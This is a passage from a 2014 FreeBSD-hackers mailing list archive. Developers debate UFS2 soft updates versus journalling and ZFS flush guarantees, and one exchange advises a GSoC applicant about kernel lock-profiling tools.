owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 18:52:58 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E9613EFF; Fri, 14 Mar 2014 18:52:58 +0000 (UTC) Received: from smtp.gentoo.org (dev.gentoo.org [IPv6:2001:470:ea4a:1:214:c2ff:fe64:b2d3]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BFCF5FD0; Fri, 14 Mar 2014 18:52:58 +0000 (UTC) Received: from [192.168.1.2] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 6A28933FB12; Fri, 14 Mar 2014 18:52:54 +0000 (UTC) Message-ID: <53235014.1040003@gentoo.org> Date: Fri, 14 Mar 2014 14:53:08 -0400 From: Richard Yao User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= , Ian Lepore Subject: Re: GSoC proposition: multiplatform UFS2 driver References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> <0405D29C-D74B-4343-82C7-57EA8BEEF370@FreeBSD.org> In-Reply-To: <0405D29C-D74B-4343-82C7-57EA8BEEF370@FreeBSD.org> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5Xf9xKIaIMEKjbtQxi6ac8rDQdwdg9MK8" Cc: freebsd-hackers@FreeBSD.org, RW X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 18:52:59 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --5Xf9xKIaIMEKjbtQxi6ac8rDQdwdg9MK8 Content-Type: text/plain; charset=ISO-8859-2 Content-Transfer-Encoding: quoted-printable On 03/14/2014 02:36 PM, Edward Tomasz Napiera=B3a wrote: > Wiadomo=B6=E6 napisana przez Ian Lepore w dniu 14 mar 2014, o godz. 16:= 39: >> On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >>> On Thu, 13 Mar 2014 18:22:10 -0800 >>> Dieter BSD wrote: >>> >>>> Julio writes, >>>>> That being said, I do not like the idea of using NetBSD's UFS2 >>>>> code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 >>>>> second only to ZFS in desirability. >>>> >>>> FFS has been in production use for decades. ZFS is still wet behind= >>>> the ears. Older versions of NetBSD have soft updates, and they work >>>> fine for me. I believe that NetBSD 6.0 is the first release without >>>> soft updates. They claimed that soft updates was "too difficult" to= >>>> maintain. I find that soft updates are *essential* for data >>>> integrity (I don't know *why*, I'm not a FFS guru).=20 >>> >>> NetBSD didn't simply drop soft-updates, they replaced it with >>> journalling, which is the approach used by practically all modern >>> filesystems.=20 >>> >>> A number of people on the questions list have said that they find >>> UFS+SU to be considerably less robust than the journalled filesystems= >>> of other OS's. =20 >=20 > Let me remind you that some other OS-es had problems such as truncation= > of files which were _not_ written (XFS), silently corrupting metadata w= hen > there were too many files in a single directory (ext3), and panicing in= stead > of returning ENOSPC (btrfs). ;-> Lets be clear that such problems live between the VFS and block layer and therefore are isolated to specific filesystems. Such problems disappear when using ZFS. >> What I've seen claimed is that UFS+SUJ is less robust. That's a very >> different thing than UFS+SU. Journaling was nailed onto the side of U= FS >> +SU as an afterthought, and it shows. >=20 > Not really - it was developed rather recently, and with filesystems it = usually > shows, but it's not "nailed onto the side": it complements SU operation= > by journalling the few things which SU doesn't really handle and which > used to require background fsck. >=20 > One problem with SU is that it depends on hardware not lying about > write completion. Journalling filesystems usually just issue flushes > instead. This point about write completion being done on unflushed data and no flushes being done could explain the disconnect between RW's statements and what Soft Updates should accomplish. However, it does not change my assertion that placing UFS SU on a ZFS zvol will avoid such failure modes. In ZFS, we have a two stage transaction commit that issues a flush at each stage to ensure that data goes to disk, no matter what the drive reported. Unless the hardware disobeys flushes, the second stage cannot happen if the first stage does not complete and if the second stage does not complete, all changes are ignored. What keeps soft updates from issuing a flush following write completion? If there are no pending writes, it is a noop. If the hardware lies, then this will force the write. The internal dependency tracking mechanisms in Soft Updates should make figuring out when a flush needs to be issued should hardware have lied about completion rather simple. At a high level, what needs to be done is to batch the things that can be done simultaneously and separate those that cannot by flushes. If such behavior is implemented, it should have a mount option for toggling it. It simply is not needed on well behaved devices, such as ZFS zvols. --5Xf9xKIaIMEKjbtQxi6ac8rDQdwdg9MK8 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTI1AWAAoJECDuEZm+6ExkY5UP/2fOF5OYHwbKrUbqYxUpnpD1 +rj7HUwVVrY9ebx2KNJkQmOfMKN7r+GUlk3pBq3rupevhjWuTCVLDaRxKXxRb+LY u7tHfBPiEHVV4Zhq1C/V+XEIJsq91DsEUtMXUxUZkSA3uYf1ifzXNxUvEaT9UIsF hHm3Ud7j4bCz3VCVdaOGMpfPJ7pd9vCn0pjo1CS66MH/JVyd5zUD57F1Z7oaDDP5 KV9QEUR9V3CDoasqHtIcQweUpaRfWskiEBFBWpBN4vhJ2qR8UBmEobI886Foe8Yf XNv0ybXIOqzpoG0LXhHy2tEA9p7whs+slI++EPM2R9IrfL7Zv3AizNWCkXEZDx/r zGwyYWboCsKYoE4Hj8rx69s+A5K02ea4xVh9wE8EEEMwapyvVxx3X5XyZbPn6zQw C8HA1kvt8PL0BDObFUYq57GM6aUiqBPEHdXkhwbt7TDsO4qiVk9YpkCe5teToXP2 Oe1sEWb4VFcfZoUNlJc725PCNq/nBw00+jVAufN8+aX3HH+xxwHLxTW5ktn+I9vY tlCMhl3iOjOpIwZlos+pg7XKRUDmkEEZ0o/quDRlazyYH5wAz9Tk92aMlXjDRNpR BgzPTMn9oVUq+kK+zivWktpM4NBLFa+4RQAEjNxkIIt9tiCa4T9qOd1SmB4FMDqu V28bIayJU83sp/9ams1+ =qwHw -----END PGP SIGNATURE----- --5Xf9xKIaIMEKjbtQxi6ac8rDQdwdg9MK8-- From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 19:05:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2AEA721B; Fri, 14 Mar 2014 19:05:31 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 92209166; Fri, 14 Mar 2014 19:05:30 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2EJ3rZr046389; Fri, 14 Mar 2014 19:03:53 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2EJ3rR8046388; Fri, 14 Mar 2014 19:03:53 GMT (envelope-from wkoszek) Date: Fri, 14 Mar 2014 19:03:53 +0000 From: "Wojciech A. Koszek" To: yan cui Subject: Re: FreeBSD GSOC proposal in 2014 Message-ID: <20140314190353.GC37327@FreeBSD.org> References: <20140314070218.GA37327@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Fri, 14 Mar 2014 19:03:57 +0000 (UTC) Cc: freebsd-hackers@freebsd.org, freebsd-current@freebsd.org, soc-status@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 19:05:31 -0000 On Fri, Mar 14, 2014 at 01:07:48PM -0400, yan cui wrote: > Thanks for the reply! I will get more information about KTR subsystem. > You can also look here: http://people.freebsd.org/~kris/scaling/Help_my_system_is_slow.pdf Wojciech > > > > > 2014-03-14 3:02 GMT-04:00 Wojciech A. Koszek : > > > On Thu, Mar 13, 2014 at 09:56:35PM -0400, yan cui wrote: > > > Hi all, > > > > > > I write this mail to make my question clear. I know witness can be > > used > > > to detect wrong lock order in the kernel. However, can it be used to do > > > lock profiling (what I mean is to report the information such as which > > > locks are most contended and print some related statistics such as > > calling > > > graph, etc)? > > > In other words, is it enough to finish the task by porting witness to the > > > pthread library? > > > > > > > Yan, > > > > To my knowledge WITNESS is the only tool for lock order verification. > > > > For lock profiling in the FreeBSD kernel there's a KTR subsystem. KTR > > mechanism is basically like syslog() in the user-space, but for the kernel. > > KTR subsystem will receive messages from KTR API that is placed in the > > FreeBSD kernel. Messages get stored on the list of some sort. List can be > > exported to a file. File you can later analyze. > > > > Jeff wrote a Python app which can be used for pre-processing the KTR logs > > from scheduler and protting them visually. Link: > > > > http://svnweb.freebsd.org/base/head/tools/sched/schedgraph.py > > > > Instead of porting witness to pthreads, maybe we could evaluate expanding > > WITNESS to cover kern_umtx? This could prove to be more universal. > > > > Wojciech > > > > > > > > 2014-03-13 19:19 GMT-04:00 yan cui : > > > > > > > Hi all, > > > > > > > > I have downloaded the newest FreeBSD-release kernel and scanned > > some > > > > codes. > > > > Wonder to know whether the lock order verification and lock profiling > > tool > > > > mentioned in > > > > the GSoC idea list is witness? Are there any other tools that needs to > > > > look at in the FreeBSD kernel? > > > > > > > > Thanks, Yan > > > > > > > > > > > > 2014-03-09 15:46 GMT-04:00 yan cui : > > > > > > > > Hi All, > > > >> > > > >> I am a student in Columbia University (Yan Cui), and want to join > > > >> the FreeBSD GSOC 2014. After scanned the idea list posted online, I > > think I > > > >> am interested in > > > >> the idea titled "user space pthread mutex lock contention profiling > > and > > > >> lock order verification tools". I have several year experiences in > > kernel > > > >> and user locking and believe I can complete the task in time. > > Currently, I > > > >> wonder to know, before submitting an application on GSOC home page, > > do I > > > >> need to submit some documents in the community (to review?) > > > >> > > > >> Best Wishes! > > > >> Yan > > > >> > > > >> -- > > > >> Think big; Dream impossible; Make it happen. > > > >> > > > > > > > > > > > > > > > > -- > > > > Think big; Dream impossible; Make it happen. > > > > > > > > > > > > > > > > -- > > > Think big; Dream impossible; Make it happen. > > > _______________________________________________ > > > soc-status@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/soc-status > > > To unsubscribe, send any mail to "soc-status-unsubscribe@freebsd.org" > > > > -- > > Wojciech A. Koszek > > wkoszek@FreeBSD.czest.pl > > http://FreeBSD.czest.pl/~wkoszek/ > > > > > > -- > Think big; Dream impossible; Make it happen. > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" -- Wojciech A. Koszek wkoszek@FreeBSD.czest.pl http://FreeBSD.czest.pl/~wkoszek/ From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 19:15:25 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 89A8E673; Fri, 14 Mar 2014 19:15:25 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 36F5F258; Fri, 14 Mar 2014 19:15:25 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s2EJFMSt023553 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Fri, 14 Mar 2014 13:15:22 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s2EJFMx8023550; Fri, 14 Mar 2014 13:15:22 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Fri, 14 Mar 2014 13:15:22 -0600 (MDT) From: Warren Block To: Ian Lepore Subject: Re: GSoC proposition: multiplatform UFS2 driver In-Reply-To: <1394811577.1149.543.camel@revolution.hippie.lan> Message-ID: References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Fri, 14 Mar 2014 13:15:22 -0600 (MDT) Cc: freebsd-hackers@FreeBSD.org, RW X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 19:15:25 -0000 On Fri, 14 Mar 2014, Ian Lepore wrote: > On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >> On Thu, 13 Mar 2014 18:22:10 -0800 >> Dieter BSD wrote: >> >>> Julio writes, >>>> That being said, I do not like the idea of using NetBSD's UFS2 >>>> code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 >>>> second only to ZFS in desirability. >>> >>> FFS has been in production use for decades. ZFS is still wet behind >>> the ears. Older versions of NetBSD have soft updates, and they work >>> fine for me. I believe that NetBSD 6.0 is the first release without >>> soft updates. They claimed that soft updates was "too difficult" to >>> maintain. I find that soft updates are *essential* for data >>> integrity (I don't know *why*, I'm not a FFS guru). >> >> NetBSD didn't simply drop soft-updates, they replaced it with >> journalling, which is the approach used by practically all modern >> filesystems. >> >> A number of people on the questions list have said that they find >> UFS+SU to be considerably less robust than the journalled filesystems >> of other OS's. > > What I've seen claimed is that UFS+SUJ is less robust. This has been my experience. Soft updates are fine, journaling not so much. After enough initial problems, I stopped using it, so it may be better lately. It still prevents using dump(8), though. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 19:18:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 09CA2798; Fri, 14 Mar 2014 19:18:55 +0000 (UTC) Received: from mail-ee0-x236.google.com (mail-ee0-x236.google.com [IPv6:2a00:1450:4013:c00::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6A83927D; Fri, 14 Mar 2014 19:18:54 +0000 (UTC) Received: by mail-ee0-f54.google.com with SMTP id d49so1771959eek.27 for ; Fri, 14 Mar 2014 12:18:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=snZKayD9LN0Kt0nHRRjd8vKb9CBZHE6TvoUaAoAS7zc=; b=nN4QMjWlK2Iku8d3+OapIFWQwePczmKmekJpAHuLJvFF0MvEd1VVQD0u+Qlo6fbNZt BNzle9Y0zWc6BpKWJfL9gLCJ99ISXg+QszGtC8OiUxyyg4+and0R68zy66ykhfqBXWUb vWJd81cGdFz2+EWc+G4MSwtIXbZ+wEgQfJKN70dt+diJSiaNGDMWUESioSYHjp7nwA5I EYHzwwRvB5HozfXFna3ctjdUCNYLnKLzW1o9BsgadpkKqGT1zdOnkFWLLT32bvdvrC9u lards4w2sIHLUL5FjxDWfp8PewWM2EhmGyyq+vDlyv8JMp6UMg9w50V9itSYKu+imlOS FIdw== X-Received: by 10.14.172.69 with SMTP id s45mr10109083eel.26.1394824732798; Fri, 14 Mar 2014 12:18:52 -0700 (PDT) Received: from strashydlo.home (adfi238.neoplus.adsl.tpnet.pl. [79.184.112.238]) by mx.google.com with ESMTPSA id cb5sm19102744eeb.18.2014.03.14.12.18.51 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 14 Mar 2014 12:18:52 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: GSoC proposition: multiplatform UFS2 driver Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <53235014.1040003@gentoo.org> Date: Fri, 14 Mar 2014 20:18:50 +0100 Content-Transfer-Encoding: quoted-printable Message-Id: <9DA009CD-0629-4402-A2A0-0A6BDE1E86FD@FreeBSD.org> References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> <0405D29C-D74B-4343-82C7-57EA8BEEF370@FreeBSD.org> <53235014.1040003@gentoo.org> To: Richard Yao X-Mailer: Apple Mail (2.1283) Cc: freebsd-hackers@FreeBSD.org, RW , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 19:18:55 -0000 Wiadomo=B6=E6 napisana przez Richard Yao w dniu 14 mar 2014, o godz. = 19:53: > On 03/14/2014 02:36 PM, Edward Tomasz Napiera=B3a wrote: >> Wiadomo=B6=E6 napisana przez Ian Lepore w dniu 14 mar 2014, o godz. = 16:39: >>> On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >>>> On Thu, 13 Mar 2014 18:22:10 -0800 >>>> Dieter BSD wrote: >>>>=20 >>>>> Julio writes, >>>>>> That being said, I do not like the idea of using NetBSD's UFS2 >>>>>> code. It lacks Soft-Updates, which I consider to make FreeBSD = UFS2 >>>>>> second only to ZFS in desirability. >>>>>=20 >>>>> FFS has been in production use for decades. ZFS is still wet = behind >>>>> the ears. Older versions of NetBSD have soft updates, and they = work >>>>> fine for me. I believe that NetBSD 6.0 is the first release = without >>>>> soft updates. They claimed that soft updates was "too difficult" = to >>>>> maintain. I find that soft updates are *essential* for data >>>>> integrity (I don't know *why*, I'm not a FFS guru).=20 >>>>=20 >>>> NetBSD didn't simply drop soft-updates, they replaced it with >>>> journalling, which is the approach used by practically all modern >>>> filesystems.=20 >>>>=20 >>>> A number of people on the questions list have said that they find >>>> UFS+SU to be considerably less robust than the journalled = filesystems >>>> of other OS's. =20 >>=20 >> Let me remind you that some other OS-es had problems such as = truncation >> of files which were _not_ written (XFS), silently corrupting metadata = when >> there were too many files in a single directory (ext3), and panicing = instead >> of returning ENOSPC (btrfs). ;-> >=20 > Lets be clear that such problems live between the VFS and block layer > and therefore are isolated to specific filesystems. Such problems > disappear when using ZFS. Such problems disappear after fixing bugs that caused them. Just like with ZFS - some people _have_ lost zpools in the past. >>> What I've seen claimed is that UFS+SUJ is less robust. That's a = very >>> different thing than UFS+SU. Journaling was nailed onto the side of = UFS >>> +SU as an afterthought, and it shows. >>=20 >> Not really - it was developed rather recently, and with filesystems = it usually >> shows, but it's not "nailed onto the side": it complements SU = operation >> by journalling the few things which SU doesn't really handle and = which >> used to require background fsck. >>=20 >> One problem with SU is that it depends on hardware not lying about >> write completion. Journalling filesystems usually just issue flushes >> instead. >=20 > This point about write completion being done on unflushed data and no > flushes being done could explain the disconnect between RW's = statements > and what Soft Updates should accomplish. However, it does not change = my > assertion that placing UFS SU on a ZFS zvol will avoid such failure > modes. Assuming everything between UFS and ZFS below behaves correctly. > In ZFS, we have a two stage transaction commit that issues a > flush at each stage to ensure that data goes to disk, no matter what = the > drive reported. Unless the hardware disobeys flushes, the second stage > cannot happen if the first stage does not complete and if the second > stage does not complete, all changes are ignored. >=20 > What keeps soft updates from issuing a flush following write = completion? > If there are no pending writes, it is a noop. If the hardware lies, = then > this will force the write. The internal dependency tracking mechanisms > in Soft Updates should make figuring out when a flush needs to be = issued > should hardware have lied about completion rather simple. At a high > level, what needs to be done is to batch the things that can be done > simultaneously and separate those that cannot by flushes. If such > behavior is implemented, it should have a mount option for toggling = it. > It simply is not needed on well behaved devices, such as ZFS zvols. As you say, it's not needed on well-behaved devices. While it could help with crappy hardware, I think it would be either very complicated (batching, as described), or would perform very poorly. To be honest, I wonder how many problems could be avoided by disabling write cache by default. With NCQ it shouldn't cause performance problems, right? From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 14 20:29:02 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 33ADE405; Fri, 14 Mar 2014 20:29:02 +0000 (UTC) Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 108C0B04; Fri, 14 Mar 2014 20:29:01 +0000 (UTC) Received: from [192.168.1.157] (pool-173-52-87-124.nycmny.fios.verizon.net [173.52.87.124]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: ryao) by smtp.gentoo.org (Postfix) with ESMTPSA id 29D5333EEB4; Fri, 14 Mar 2014 20:29:00 +0000 (UTC) References: <20140314152732.0f6fdb02@gumby.homeunix.com> <1394811577.1149.543.camel@revolution.hippie.lan> <0405D29C-D74B-4343-82C7-57EA8BEEF370@FreeBSD.org> <53235014.1040003@gentoo.org> <9DA009CD-0629-4402-A2A0-0A6BDE1E86FD@FreeBSD.org> Mime-Version: 1.0 (1.0) In-Reply-To: <9DA009CD-0629-4402-A2A0-0A6BDE1E86FD@FreeBSD.org> Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPad Mail (10B146) From: Richard Yao Subject: Re: GSoC proposition: multiplatform UFS2 driver Date: Fri, 14 Mar 2014 16:28:59 -0400 To: =?utf-8?Q?Edward_Tomasz_Napiera=C5=82a?= Cc: "freebsd-hackers@FreeBSD.org" , RW , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Mar 2014 20:29:02 -0000 On Mar 14, 2014, at 3:18 PM, Edward Tomasz Napiera=C5=82a wrote: > Wiadomo=C5=9B=C4=87 napisana przez Richard Yao w dniu 14 mar 2014, o godz.= 19:53: >> On 03/14/2014 02:36 PM, Edward Tomasz Napiera=C5=82a wrote: >>> Wiadomo=C5=9B=C4=87 napisana przez Ian Lepore w dniu 14 mar 2014, o godz= . 16:39: >>>> On Fri, 2014-03-14 at 15:27 +0000, RW wrote: >>>>> On Thu, 13 Mar 2014 18:22:10 -0800 >>>>> Dieter BSD wrote: >>>>>=20 >>>>>> Julio writes, >>>>>>> That being said, I do not like the idea of using NetBSD's UFS2 >>>>>>> code. It lacks Soft-Updates, which I consider to make FreeBSD UFS2 >>>>>>> second only to ZFS in desirability. >>>>>>=20 >>>>>> FFS has been in production use for decades. ZFS is still wet behind >>>>>> the ears. Older versions of NetBSD have soft updates, and they work >>>>>> fine for me. I believe that NetBSD 6.0 is the first release without >>>>>> soft updates. They claimed that soft updates was "too difficult" to >>>>>> maintain. I find that soft updates are *essential* for data >>>>>> integrity (I don't know *why*, I'm not a FFS guru). >>>>>=20 >>>>> NetBSD didn't simply drop soft-updates, they replaced it with >>>>> journalling, which is the approach used by practically all modern >>>>> filesystems.=20 >>>>>=20 >>>>> A number of people on the questions list have said that they find >>>>> UFS+SU to be considerably less robust than the journalled filesystems >>>>> of other OS's. =20 >>>=20 >>> Let me remind you that some other OS-es had problems such as truncation >>> of files which were _not_ written (XFS), silently corrupting metadata wh= en >>> there were too many files in a single directory (ext3), and panicing ins= tead >>> of returning ENOSPC (btrfs). ;-> >>=20 >> Lets be clear that such problems live between the VFS and block layer >> and therefore are isolated to specific filesystems. Such problems >> disappear when using ZFS. >=20 > Such problems disappear after fixing bugs that caused them. Just like > with ZFS - some people _have_ lost zpools in the past. People with problems who get in touch with me usually can save their pools. I= cannot recall an incident where a user came to me for help and suffered com= plete loss of a pool. However, there have been incidents of partial data los= s involving user error (running zfs destroy on data you want to keep is bad)= , faulty memory (this user ignored my warnings about non-ECC memory and then= put it into production without running memtest; then blamed ZFS) and two in= cidents where bugs in ZoL's autotools checks that disabled flushing to disk.= The latter two cases have had regression tests put into place to catch the e= rrors that permitted them. >=20 >>>> What I've seen claimed is that UFS+SUJ is less robust. That's a very >>>> different thing than UFS+SU. Journaling was nailed onto the side of UFS= >>>> +SU as an afterthought, and it shows. >>>=20 >>> Not really - it was developed rather recently, and with filesystems it u= sually >>> shows, but it's not "nailed onto the side": it complements SU operation >>> by journalling the few things which SU doesn't really handle and which >>> used to require background fsck. >>>=20 >>> One problem with SU is that it depends on hardware not lying about >>> write completion. Journalling filesystems usually just issue flushes >>> instead. >>=20 >> This point about write completion being done on unflushed data and no >> flushes being done could explain the disconnect between RW's statements >> and what Soft Updates should accomplish. However, it does not change my >> assertion that placing UFS SU on a ZFS zvol will avoid such failure >> modes. >=20 > Assuming everything between UFS and ZFS below behaves correctly. For ZFS, this means hardware honors flushes and does not deduplicate data (e= .g. sandforce) so that ditto blocks have an effect. The latter failure mode d= oes not appear to have been observed in the wild. The former has never been o= bserved to my knowledge when ZFS is given the physical disks and the SAS/SAT= A controller does not try doing a write cache. It has been observed on certa= in iSCSI targets though. >> In ZFS, we have a two stage transaction commit that issues a >> flush at each stage to ensure that data goes to disk, no matter what the >> drive reported. Unless the hardware disobeys flushes, the second stage >> cannot happen if the first stage does not complete and if the second >> stage does not complete, all changes are ignored. >>=20 >> What keeps soft updates from issuing a flush following write completion? >> If there are no pending writes, it is a noop. If the hardware lies, then >> this will force the write. The internal dependency tracking mechanisms >> in Soft Updates should make figuring out when a flush needs to be issued >> should hardware have lied about completion rather simple. At a high >> level, what needs to be done is to batch the things that can be done >> simultaneously and separate those that cannot by flushes. If such >> behavior is implemented, it should have a mount option for toggling it. >> It simply is not needed on well behaved devices, such as ZFS zvols. >=20 > As you say, it's not needed on well-behaved devices. While it could > help with crappy hardware, I think it would be either very complicated > (batching, as described), or would perform very poorly. For ZFS, a well behaved device is a device that honors flushes. As long as f= lush semantics are obeyed, ZFS should be fine. The only exceptions known to m= e involves drives that deduplicate zfs ditto blocks (so far unobserved in th= e wild), non-ECC RAM (which breaks everything equally) and driver bugs (ZFS d= oes not replace backups). UFS Soft Updates seems to have stricter requiremen= ts than ZFS in that IO completion must be honest, but the end result is not a= s good as there are no ditto blocks or checksums for a merkle tree. Also, in= all fairness, ZFS relies on this information too, but it is for performance= purposes, not consistency. > To be honest, I wonder how many problems could be avoided by > disabling write cache by default. With NCQ it shouldn't cause > performance problems, right? I think you need to specify which cache causes the problem. There is the buf= fer cache (removed in recent FreeBSD and bypassed in Linux by ZFSOnLinux), t= he RAID controller cache (using this gives good performance numbers, but is t= errible for reliability) and the actual drive cache (ZFS is okay with this; U= FS2 with SU possibly not). From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 01:38:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C986F37F for ; Sat, 15 Mar 2014 01:38:59 +0000 (UTC) Received: from felyko.com (felyko.com [IPv6:2607:f2f8:a528::3:1337:ca7]) by mx1.freebsd.org (Postfix) with ESMTP id B46CE8F2 for ; Sat, 15 Mar 2014 01:38:59 +0000 (UTC) Received: from [10.0.1.3] (c-24-6-115-18.hsd1.ca.comcast.net [24.6.115.18]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by felyko.com (Postfix) with ESMTPSA id A12D039841; 